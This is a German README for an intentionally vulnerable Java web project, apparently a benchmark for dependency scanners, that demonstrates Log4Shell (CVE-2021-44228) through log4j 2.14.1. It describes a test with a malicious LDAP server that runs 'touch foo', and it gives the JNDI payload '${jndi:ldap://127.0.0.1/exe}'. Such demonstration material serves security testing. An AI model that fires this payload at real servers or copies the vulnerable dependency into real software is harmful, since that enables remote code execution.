
JEE-Webprojekt mit Log4Shell-Schwachstelle (CVE-2021-44228)
Dies ist ein einfaches Webprojekt mit einer log4shell-Schwachstelle.
Das Projekt definiert einen einfachen scabench.HelloWorldService-GET-Dienst, der einen einfachen Textstring hello world zurückgibt.
Der Dienst erwartet keine Parameter, und wenn Parameter auftreten, wird ein Fehler protokolliert.
Die verwundbare Abhängigkeit ist org.apache.logging.log4j:log4j-core:2.14.1, die Schwachstelle ist CVE-2021-44228.
Dies erfordert Unix oder macOS. Es ist einfach, dieses Projekt auf Windows zu portieren.
Ein Unit-Test ist enthalten, um die Schwachstelle zu demonstrieren. Der Test benötigt einen LDAP-Server, der verwundbaren Code bereitstellt. Das entsprechende ausführbare Programm wird vom Projekt bereitgestellt; es ist in einem separaten Projekt https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept basierend auf https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept definiert. Die Test-Fixture übernimmt das Starten und Stoppen des LDAP-Servers.
Der Test erstellt eine Datei foo basierend auf einem Befehl, der in den Code des LDAP-Servers eingebettet ist, mit dem sich log4j verbindet
(touch foo). Dieser Server kann von einem Angreifer kontrolliert werden.
Um den Test auszuführen, baue das Projekt mit mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (der verwundbare Code lädt Java-Code von diesem Server herunter)http://localhost:8080/, diese Seite enthält ein vorausgefülltes Formular mit einer schädlichen Payload ${jndi:ldap://127.0.0.1/exe}foo auf dem Server erstelltEs gibt mehrere Shell-Skripte, um verschiedene Analysen auszuführen; Ergebnisberichte finden sich in scan-results.